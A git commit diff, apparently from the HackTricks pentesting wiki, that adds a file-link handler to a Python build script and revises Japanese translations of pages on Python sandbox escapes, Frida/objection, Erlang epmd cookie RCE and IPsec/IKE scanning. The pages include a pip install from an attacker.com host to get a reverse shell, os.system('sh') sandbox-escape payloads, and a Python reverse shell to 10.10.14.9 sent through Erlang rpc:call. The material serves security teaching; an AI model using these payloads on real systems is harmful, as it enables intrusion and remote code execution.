Translated ['src/generic-methodologies-and-resources/python/bypass-pytho

This commit is contained in:
Translator 2025-01-05 16:15:23 +00:00
parent 3672c7e9cf
commit 65045a4d5f
18 changed files with 473 additions and 414 deletions

View File

@ -1,4 +1,5 @@
import json
import os
import sys
import re
import logging
@ -68,6 +69,33 @@ def ref(matchobj):
return result
def files(matchobj):
logger.debug(f'Files match: {matchobj.groups(0)[0].strip()}')
href = matchobj.groups(0)[0].strip()
title = ""
try:
for root, dirs, files in os.walk(os.getcwd()+'/src/files'):
if href in files:
title = href
logger.debug(f'File search result: {os.path.join(root, href)}')
except Exception as e:
logger.debug(e)
logger.debug(f'Error searching file: {href}')
print(f'Error searching file: {href}')
sys.exit(1)
if title=="":
logger.debug(f'Error searching file: {href}')
print(f'Error searching file: {href}')
sys.exit(1)
template = f"""<a class="content_ref" href="/files/{href}"><span class="content_ref_label">{title}</span></a>"""
result = template
return result
def add_read_time(content):
regex = r'(<\/style>\n# .*(?=\n))'
@ -105,6 +133,8 @@ if __name__ == '__main__':
current_chapter = chapter
regex = r'{{[\s]*#ref[\s]*}}(?:\n)?([^\\\n]*)(?:\n)?{{[\s]*#endref[\s]*}}'
new_content = re.sub(regex, ref, chapter['content'])
regex = r'{{[\s]*#file[\s]*}}(?:\n)?([^\\\n]*)(?:\n)?{{[\s]*#endfile[\s]*}}'
new_content = re.sub(regex, files, chapter['content'])
new_content = add_read_time(new_content)
chapter['content'] = new_content

View File

@ -2,7 +2,7 @@
{{#include ../../../banners/hacktricks-training.md}}
これは、Pythonサンドボックスの保護をバイパスし、任意のコマンドを実行するためのいくつかのトリックです。
これは、Pythonサンドボックスの保護をバイパスし、任意のコマンドを実行するためのいくつかのトリックです。
## コマンド実行ライブラリ
@ -41,8 +41,7 @@ system('ls')
```
_**open**_ および _**read**_ 関数は、python サンドボックス内の **ファイルを読み取る** ためや、**バイパス**するために **実行** できる **コードを書く** ために便利です。
> [!CAUTION]
> **Python2 input()** 関数は、プログラムがクラッシュする前に python コードを実行することを許可します。
> [!CAUTION] > **Python2 input()** 関数は、プログラムがクラッシュする前に python コードを実行することを許可します。
Python は **最初に現在のディレクトリからライブラリを読み込もうとします**次のコマンドは、python がモジュールをどこから読み込んでいるかを表示します): `python3 -c 'import sys; print(sys.path)'`
@ -71,26 +70,28 @@ print(base64.b64encode(pickle.dumps(P(), protocol=0)))
### Pipパッケージ
**@isHaacK**によトリック
**@isHaacK**によって共有されたトリック
`pip`または`pip.main()`にアクセスできる場合、任意のパッケージをインストールし、次のように呼び出すことでリバースシェルを取得できます:
```bash
pip install http://attacker.com/Rerverse.tar.gz
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
```
ここからリバースシェルを作成するためのパッケージをダウンロードできます。使用する前に、**解凍し、`setup.py`を変更し、リバースシェル用のIPを設定する必要があります**
パッケージをダウンロードしてリバースシェルを作成するには、こちらをクリックしてください。使用する前に、**解凍し、`setup.py`を変更し、リバースシェル用のIPを設定する必要があります**
{% file src="../../../images/Reverse.tar (1).gz" %}
{{#file}}
Reverse.tar (1).gz
{{#endfile}}
> [!NOTE]
> このパッケージは`Reverse`と呼ばれています。しかし、リバースシェルを終了すると、残りのインストールが失敗するように特別に作成されているため、**サーバーに余分なPythonパッケージがインストールされることはありません**。
## PythonコードのEval
## Pythonコードの評価
> [!WARNING]
> execは複数行の文字列と";"を許可しますが、evalは許可しませんウォルラス演算子を確認してください)。
> execは複数行の文字列と";"を許可しますが、evalは許可しませんルラス演算子を確認してください)。
特定の文字が禁止されている場合は、**制限を回避するために** **hex/octal/B64**表現を使用できます:
特定の文字が禁止されている場合は、**制限を回避するために** **hex/octal/B64** 表現を使用できます:
```python
exec("print('RCE'); __import__('os').system('ls')") #Using ";"
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
@ -111,7 +112,7 @@ exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x
exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2
exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='))
```
### Pythonコードを評価することを許可する他のライブラリ
### Pythonコードを評価するための他のライブラリ
```python
#Pandas
import pandas as pd
@ -231,7 +232,7 @@ __iand__ (k = 'import os; os.system("sh")')
__ior__ (k |= 'import os; os.system("sh")')
__ixor__ (k ^= 'import os; os.system("sh")')
```
#### [メタクラス](https://docs.python.org/3/reference/datamodel.html#metaclasses)を使ったオブジェクトの作成
#### メタクラスを使ったオブジェクトの作成
メタクラスが私たちに許可する重要なことは、**コンストラクタを直接呼び出すことなくクラスのインスタンスを作成する**ことであり、ターゲットクラスをメタクラスとして新しいクラスを作成することです。
```python
@ -250,7 +251,7 @@ Sub['import os; os.system("sh")']
```
#### 例外を伴うオブジェクトの作成
**例外がトリガーされる**と、**Exception**のオブジェクトが**直接コンストラクタを呼び出すことなく作成されます**[**@\_nag0mez**](https://mobile.twitter.com/_nag0mez)からのトリック):
**例外がトリガーされる**と、**Exception**のオブジェクトが**作成され**、あなたがコンストラクタを直接呼び出す必要はありません[**@\_nag0mez**](https://mobile.twitter.com/_nag0mez)からのトリック):
```python
class RCE(Exception):
def __init__(self):
@ -313,7 +314,7 @@ __builtins__.__dict__['__import__']("os").system("ls")
```
### No Builtins
`__builtins__`がない場合、何もインポートできず、ファイルを読み書きすることもできません。**すべてのグローバル関数**`open``import``print`など)は**ロードされていない**からです。\
`__builtins__`がない場合、何もインポートできず、ファイルを読み書きすることもできません。**すべてのグローバル関数**`open``import``print`など)が**ロードされていないため**です。\
しかし、**デフォルトではPythonは多くのモジュールをメモリにインポートします**。これらのモジュールは無害に見えるかもしれませんが、その中には**危険な**機能を**インポートしている**ものもあり、それにアクセスすることで**任意のコード実行**を得ることができます。
以下の例では、**無害な**モジュールのいくつかを**悪用**して、内部の**危険な****機能**に**アクセス**する方法を観察できます。
@ -358,7 +359,7 @@ get_flag.__globals__['__builtins__']
# Get builtins from loaded classes
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
```
[**以下により大きな関数があります**](#recursive-search-of-builtins-globals) で、数十/**数百**の **場所****builtins**見つけることができます。
[**以下により大きな関数があります**](#recursive-search-of-builtins-globals) で、**builtins** を見つけることができる **場所** を数十/**数百** 見つけることができます。
#### Python2 と Python3
```python
@ -400,15 +401,15 @@ class_obj.__init__.__globals__
[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
```
[**以下により大きな関数があります**](#recursive-search-of-builtins-globals) で、数十/**数百**の **場所** を見つけることができます **globals**
[**以下により大きな関数があります**](#recursive-search-of-builtins-globals) で、**グローバル**を見つけることができる**場所**を数十/**数百**見つけることができます
## 任意の実行を発見する
ここでは、**より危険な機能を簡単に発見する** 方法を説明し、より信頼性の高いエクスプロイトを提案したいと思います。
ここでは、**より危険な機能**を簡単に発見し、より信頼性の高いエクスプロイトを提案する方法を説明したいと思います。
#### バイパスを使用したサブクラスへのアクセス
この技術の最も敏感な部分の一つは、**ベースサブクラスにアクセスする** ことができることです。前の例では `''.__class__.__base__.__subclasses__()` を使用してこれを行いましたが、**他の可能な方法** もあります:
この技術の最も敏感な部分の一つは、**ベースサブクラス**にアクセスできることです。前の例では `''.__class__.__base__.__subclasses__()` を使用してこれを行いましたが、**他の可能な方法**もあります:
```python
#You can access the base from mostly anywhere (in regular conditions)
"".__class__.__base__.__subclasses__()
@ -438,12 +439,12 @@ defined_func.__class__.__base__.__subclasses__()
```
### 危険なライブラリの特定
例えば、ライブラリ **`sys`** を使用すると **任意のライブラリをインポートすることが可能** であることを知っている場合、**その中に sys をインポートしているすべてのモジュールを検索**することができます:
例えば、ライブラリ **`sys`** を使用すると **任意のライブラリをインポートすることが可能** であることを知っている場合、**その中に sys をインポートしているすべてのモジュールを検索する** ことができます:
```python
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
```
たくさんありますが、**私たちはコマンドを実行するために1つだけ必要です**
たくさんありますが、**私たちはコマンドを実行するためにつだけ必要です**
```python
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
```
@ -537,7 +538,7 @@ __builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, Fil
## ビルトイン、グローバルの再帰的検索...
> [!WARNING]
> これはただの**素晴らしい**ものです。もしあなたが**グローバル、ビルトイン、オープンなどのようなオブジェクトを探しているなら**、このスクリプトを使って**そのオブジェクトを見つけることができる場所を再帰的に見つけてください。**
> これはただの**素晴らしい**ものです。もしあなたが**globals、builtins、open、または何かのようなオブジェクトを探しているなら**、このスクリプトを使って**そのオブジェクトを見つけることができる場所を再帰的に見つけてください。**
```python
import os, sys # Import these to find more gadgets
@ -681,11 +682,11 @@ people = PeopleInfo('GEEKS', 'FORGEEKS')
st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
get_name_for_avatar(st, people_obj = people)
```
通常の方法で**属性**に**ドット**を使ってアクセスできることに注意してください。例えば、`people_obj.__init__`と、**辞書要素**には**括弧**を使い、引用符なしで`__globals__[CONFIG]`を使用します
通常の方法で **属性** **ドット** を使ってアクセスできることに注意してください `people_obj.__init__`**辞書要素****括弧** を使って引用符なしで `__globals__[CONFIG]`
また、`.__dict__`を使用してオブジェクトの要素を列挙できることにも注意してください。例:`get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
また、`.__dict__` を使用してオブジェクトの要素を列挙できることにも注意してください `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
フォーマット文字列の他の興味深い特徴は、**`str`**、**`repr`**、**`ascii`**の**関数**を指定されたオブジェクトで実行する可能性です。これにはそれぞれ**`!s`**、**`!r`**、**`!a`**を追加します:
フォーマット文字列の他の興味深い特徴は、**`str`**、**`repr`**、および **`ascii`** **関数** を指定されたオブジェクトで実行する可能性であり、それぞれ **`!s`**、**`!r`**、**`!a`** を追加することで実現できます。
```python
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
get_name_for_avatar(st, people_obj = people)
@ -738,10 +739,10 @@ As reminder, every time an action is performed in python some function is execut
You have more like this in the section [**Python execution without calls**](#python-execution-without-calls).
Pythonのフォーマット文字列の脆弱性では関数を実行することはできません括弧を使用することはできません、したがって、`'{0.system("/bin/sh")}'.format(os)`のようにRCEを取得することは不可能です。\
しかし、`[]`を使用することは可能です。したがって、一般的なPythonライブラリに**`__getitem__`**または**`__getattr__`**メソッドがあり、任意のコードを実行する場合、それらを悪用してRCEを取得することが可能です。
A python format string vuln doesn't allow to execute function (it's doesn't allow to use parenthesis), so it's not possible to get RCE like `'{0.system("/bin/sh")}'.format(os)`.\
However, it's possible to use `[]`. Therefore, if a common python library has a **`__getitem__`** or **`__getattr__`** method that executes arbitrary code, it's possible to abuse them to get RCE.
Pythonでそのようなガジェットを探すために、書き込みはこの[**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code)を提案しています。そこで彼はこの[one](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463)を見つけました:
Looking for a gadget like that in python, the writeup purposes this [**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code). Where he found this [one](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463):
```python
class LibraryLoader(object):
def __init__(self, dlltype):
@ -921,7 +922,7 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0
```
## Pythonのコンパイル
さて、何らかの方法で**実行できない関数についての情報をダンプできる**と想像してみてください。しかし、**実行する必要があります**。\
さて、何らかの方法で**実行できない関数についての情報をダンプできる**と想像してみましょう。しかし、**実行する必要があります**。\
次の例のように、その関数の**コードオブジェクトにアクセスできる**が、ディスアセンブルを読むだけでは**フラグを計算する方法がわからない**_より複雑な`calc_flag`関数を想像してください_
```python
def get_flag(some_input):
@ -981,7 +982,7 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
```
### 防御のバイパス
この投稿の最初の例では、**`compile` 関数を使用して任意の Python コードを実行する方法**を見ることができます。これは、**ループやすべてを含む全体のスクリプトを** **ワンライナー**で実行できるため興味深いです(そして、**`exec`**を使用しても同じことができます)。\
この投稿の最初の例では、**`compile` 関数を使用して任意の Python コードを実行する方法**を見ることができます。これは、**ループやすべてを含む完全なスクリプトを** **ワンライナー**で実行できるため興味深いです(そして、**`exec`**を使用しても同じことができます)。\
とにかく、時には**ローカルマシン**で**コンパイルされたオブジェクト**を**作成**し、**CTFマシン**で実行することが有用な場合があります例えば、CTFに`compiled`関数がないため)。
例えば、_./poc.py_を読み取る関数を手動でコンパイルして実行してみましょう
@ -1021,7 +1022,7 @@ f(42)
```
## コンパイルされたPythonの逆コンパイル
[**https://www.decompiler.com/**](https://www.decompiler.com)のようなツールを使用すると、与えられたコンパイル済みのPythonコードを**逆コンパイル**できます。
[**https://www.decompiler.com/**](https://www.decompiler.com) のようなツールを使用すると、与えられたコンパイル済みのPythonコードを**逆コンパイル**できます。
**このチュートリアルをチェックしてください**:
@ -1033,7 +1034,7 @@ f(42)
### アサート
`-O`パラメータで最適化されたPythonは、アサートと**debug**の値に基づく条件付きコードを削除します。\
`-O` パラメータで最適化されたPythonは、アサートステートメントと**debug**の値に基づく条件付きコードを削除します。\
したがって、次のようなチェックが行われます。
```python
def check_permission(super_user):
@ -1054,5 +1055,4 @@ print(f"\nNot a Super User!!!\n")
- [https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html](https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html)
- [https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6](https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,25 +2,25 @@
{{#include ../../../banners/hacktricks-training.md}}
## **はじめに**
**objection - ランタイムモバイル探索**
[**Objection**](https://github.com/sensepost/objection) は、[Frida](https://www.frida.re) によって提供されるランタイムモバイル探索ツールキットです。これは、脱獄またはルート化されたモバイルデバイスを必要とせずに、モバイルアプリケーションとそのセキュリティ姿勢を評価するのを助けることを目的に構築されました。
[**Objection**](https://github.com/sensepost/objection) は、[Frida](https://www.frida.re) によって提供されるランタイムモバイル探索ツールキットです。これは、脱獄ルート化されたモバイルデバイスを必要とせずに、モバイルアプリケーションとそのセキュリティ姿勢を評価するのを助けることを目的に構築されました。
**注意:** これは脱獄/ルートバイパスの一形態ではありません。`objection`を使用することで、直面している適用可能なサンドボックスによって課せられたすべての制限に依然として制約されます。
### 概要
**objection**の**目標**は、ユーザーが**Fridaが提供する主要なアクションを呼び出す**ことを可能にすることです。**そうでなければ、**ユーザーはテストしたい**各アプリケーションごとに単一のスクリプトを作成する必要があります。
**objection**の**目標**は、ユーザーが**Fridaが提供する主要なアクションを呼び出す**ことを可能にすることです。**そうでなければ、**ユーザーはテストしたい**各アプリケーションのために単一のスクリプトを作成する必要があります。
## チュートリアル
このチュートリアルでは、ここからダウンロードできるAPKを使用します
{% file src="../../../images/app-release.zip" %}
{{#file}}
app-release.zip
{{#endfile}}
またはその[オリジナルリポジトリ](https://github.com/asvid/FridaApp)からapp-release.apkをダウンロード
@ -32,7 +32,7 @@ pip3 install objection
**通常のADB接続**を行い、デバイスで**frida**サーバーを**起動**しますクライアントとサーバーの両方でfridaが動作していることを確認します
**ルート化されたデバイス**を使用している場合、_**--gadget**_オプション内でテストしたいアプリケーションを選択する必要があります。この場合
**ルート化されたデバイス**を使用している場合、_**--gadget**_オプション内でテストしたいアプリケーションを選択する必要があります。この場合
```bash
frida-ps -Uai
objection --gadget asvid.github.io.fridaapp explore
@ -84,11 +84,11 @@ android ui FLAG_SECURE false #This may enable you to take screenshots using the
```
### 静的分析を動的に
実際のアプリケーションでは、**静的分析**のおかげで、この部分で発見されたすべての情報を使用する前に知っておくべきです。それでも、この方法では、クラス、メソッド、およびエクスポートされたオブジェクトの完全なリストしか得られないため、**新しい何か**を見ることができるかもしれません。
実際のアプリケーションでは、**静的分析**のおかげで、この部分で発見されたすべての情報を知っておくべきです。それでも、この方法では、クラス、メソッド、およびエクスポートされたオブジェクトの完全なリストのみが表示されるため、**新しい何か**を見ることができるかもしれません。
これは、アプリの**読みやすいソースコードを取得できない**場合にも役立ちます。
これは、アプリの**可読なソースコードを取得できない**場合にも役立ちます。
#### アクティビティ、レシーバー、サービスのリスト
#### アクティビティ、レシーバー、およびサービスのリスト
```bash
android hooking list activities
```
@ -135,13 +135,13 @@ android hooking list class_methods asvid.github.io.fridaapp.MainActivity
```bash
android hooking list classes #List all loaded classes, As the target application gets usedmore, this command will return more classes.
```
これは、**クラスのメソッドをフックしたいが、クラスの名前しか知らない場合**に非常に便利です。この関数を使用して、**クラスを所有するモジュールを検索**し、そのメソッドをフックできます。
これは、**クラスのメソッドをフックしたいが、クラスの名前しか知らない場合**に非常に便利です。この関数を使用して、**クラスを所有するモジュールを検索**し、そのメソッドをフックすることができます。
### フックが簡単
#### メソッドのフック(監視)
アプリケーションの[ソースコード](https://github.com/asvid/FridaApp/blob/master/app/src/main/java/asvid/github/io/fridaapp/MainActivity.kt)から、**MainActivity**の**関数**_**sum()**_が**毎秒**実行されていることがわかります。関数が呼び出されるたびに、**すべての可能な情報**(引数、戻り値、バックトレース)を**ダンプ**してみましょう
アプリケーションの[ソースコード](https://github.com/asvid/FridaApp/blob/master/app/src/main/java/asvid/github/io/fridaapp/MainActivity.kt)から、**MainActivity**の**関数**_**sum()**_が**毎秒**実行されていることがわかります。関数が呼び出されるたびに、**すべての可能な情報**(引数、戻り値、バックトレース)を**ダンプ**してみましょう
```bash
android hooking watch class_method asvid.github.io.fridaapp.MainActivity.sum --dump-args --dump-backtrace --dump-return
```
@ -169,7 +169,7 @@ android hooking watch class asvid.github.io.fridaapp.MainActivity --dump-args --
### クラスインスタンス
特定のJavaクラスの**ライブインスタンス**を検索して印刷します。これは完全修飾クラス名で指定されます。発見されたobjectionの文字列値を取得しようとした結果は、通常**オブジェクトのプロパティ値を含む**ものです。
特定のJavaクラスの**ライブインスタンス**を検索して印刷します。これは完全修飾クラス名で指定されます。これは、発見されたobjectionの文字列値を取得しようとした結果であり、通常は**オブジェクトのプロパティ値を含む**ものです。
```
android heap print_instances <class>
```
@ -222,7 +222,7 @@ exit
## Objectionでの欠点
- フッキングメソッドは時々アプリケーションをクラッシュさせますこれはFridaのせいでもあります
- インスタンスのクラスを使用してインスタンスの関数を呼び出すことができません。また、新しいインスタンスを作成して関数を呼び出すこともできません。
- アプリケーションで使用されている一般的な暗号メソッドをフックして、暗号化されたテキスト、平文、キー、IV、および使用されているアルゴリズムを見るためのショートカットsslpinninのようなものがありません。
- クラスのインスタンスを使用してインスタンスの関数を呼び出すことができません。また、新しいクラスのインスタンスを作成してそれを使用して関数を呼び出すこともできません。
- アプリケーションで使用されている一般的な暗号メソッドをフックして、暗号化されたテキスト、プレーンテキスト、キー、IV、および使用されているアルゴリズムを見るためのショートカットsslpinninのようなものがありません。
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,7 +2,7 @@
# 基本情報
**Erlang Port Mapper Daemon (epmd)** は、分散Erlangインスタンスのコーディネーターとして機能します。これは、シンボリックード名をマシンアドレスにマッピングする責任があり、基本的に各ード名が特定のアドレスに関連付けられることを保証します。この**epmd**の役割は、ネットワーク上の異なるErlangード間のシームレスな相互作用と通信にとって重要です。
The **Erlang Port Mapper Daemon (epmd)** は、分散Erlangインスタンスのコーディネーターとして機能します。これは、シンボリックード名をマシンアドレスにマッピングする責任があり、基本的に各ード名が特定のアドレスに関連付けられることを保証します。この **epmd** の役割は、ネットワーク上の異なるErlangード間のシームレスな相互作用と通信にとって重要です。
**デフォルトポート**: 4369
```
@ -40,7 +40,7 @@ PORT STATE SERVICE VERSION
```
# Erlang Cookie RCE
## リモート接続
## Remote Connection
もし**認証クッキーを漏洩させることができれば**、ホスト上でコードを実行することができます。通常、このクッキーは`~/.erlang.cookie`にあり、Erlangが最初に起動したときに生成されます。手動で変更または設定されていない場合、これは20文字の長さのランダムな文字列\[A:Z]です。
```bash
@ -57,11 +57,13 @@ At last, we can start an erlang shell on the remote system.
より多くの情報は[https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/](https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/)にあります。\
著者はクッキーをブルートフォースするプログラムも共有しています:
{% file src="../images/epmd_bf-0.1.tar.bz2" %}
{{#file}}
epmd_bf-0.1.tar.bz2
{{#endfile}}
## ローカル接続
この場合、CouchDBを悪用してローカルで権限を昇格させます:
この場合、ローカルで特権を昇格させるためにCouchDBを悪用します
```bash
HOME=/ erl -sname anonymous -setcookie YOURLEAKEDCOOKIE
(anonymous@canape)1> rpc:call('couchdb@localhost', os, cmd, [whoami]).
@ -69,7 +71,7 @@ HOME=/ erl -sname anonymous -setcookie YOURLEAKEDCOOKIE
(anonymous@canape)4> rpc:call('couchdb@localhost', os, cmd, ["python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.9\", 9005));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"]).
```
例は[https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)から取得しました。\
**Canape HTBマシンを使用して**、この**脆弱性を悪用する**方法を**練習**できます
**Canape HTBマシンを使用して** **この脆弱性を** **悪用する方法を練習できます**
## Metasploit
```bash
@ -78,6 +80,6 @@ msf5> use exploit/multi/misc/erlang_cookie_rce
```
# Shodan
- `port:4369 "ポートで"`
- `port:4369 "at port"`
{{#include ../banners/hacktricks-training.md}}

View File

@ -4,13 +4,13 @@
## 基本情報
**IPsec**は、ネットワーク間LAN-to-LANおよびリモートユーザーからネットワークゲートウェイリモートアクセスへの通信を保護するための主要な技術として広く認識されており、企業のVPNソリューションの基盤を形成しています。
**IPsec**は、ネットワーク間LAN-to-LANおよびリモートユーザーからネットワークゲートウェイリモートアクセスへの通信を保護するための主要な技術として広く認識されており、企業のVPNソリューションの基盤を提供します。
2つのポイント間の**セキュリティアソシエーションSA**の確立は、認証と鍵交換のために設計されたプロトコルであるISAKMPの下で動作する**IKE**によって管理されます。このプロセスは、いくつかのフェーズで展開されます:
- **フェーズ1** 2つのエンドポイント間に安全なチャネルが作成されます。これは、事前共有鍵PSKまたは証明書を使用し、3対のメッセージを含むメインモードまたは**アグレッシブモード**を使用して達成されます。
- **フェーズ1.5** 必須ではありませんが、拡張認証フェーズとして知られるこのフェーズでは、ユーザー名とパスワードを要求することで接続を試みるユーザーの身元を確認します。
- **フェーズ2** このフェーズは、**ESP**および**AH**を使用してデータを保護するためのパラメータを交渉することに専念しています。これは、**完璧な前方秘匿性PFS**を確保するために、フェーズ1とは異なるアルゴリズムの使用を許可し、セキュリティを強化します。
- **フェーズ2** このフェーズは、**ESP**および**AH**を使用してデータを保護するためのパラメータを交渉することに専念しています。これは、**完前方秘匿性PFS**を確保するために、フェーズ1とは異なるアルゴリズムの使用を許可し、セキュリティを強化します。
**デフォルトポート:** 500/udp
@ -26,7 +26,7 @@ MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)
```
## **有効な変換の発見**
IPSecの設定は、1つまたはいくつかの変換のみを受け入れるように準備できます。変換は値の組み合わせです。**各変換**には、**暗号化アルゴリズム**としてDESまたは3DES、**整合性アルゴリズム**としてのSHAまたはMD5、**認証タイプ**としての事前共有キー、**鍵配布アルゴリズム**としてのDiffie-Hellman 1または2、**有効期限**としての28800秒などの属性が含まれています。
IPSecの設定は、1つまたはいくつかの変換のみを受け入れるように準備できます。変換は値の組み合わせです。**各変換**には、**暗号化アルゴリズム**としてDESまたは3DES、**整合性アルゴリズム**としてSHAまたはMD5、**認証タイプ**として事前共有キー、鍵の**配布アルゴリズム**としてDiffie-Hellman 1または2、**ライフタイム**として28800秒などの属性が含まれています。
次に、最初に行うべきことは、**有効な変換を見つける**ことです。そうすれば、サーバーがあなたと通信します。そのために、ツール**ike-scan**を使用できます。デフォルトでは、Ike-scanはメインモードで動作し、ISAKMPヘッダーと**8つの変換を含む**単一の提案を持つパケットをゲートウェイに送信します。
@ -54,7 +54,7 @@ Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 retur
```bash
for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done
```
の後、ike-scanを使用してそれぞれをブルートフォースしますこれには数分かかる場合があります
して、ike-scanを使用してそれぞれをブルートフォースしますこれには数分かかる場合があります
```bash
while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt
```
@ -62,9 +62,9 @@ while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <
```bash
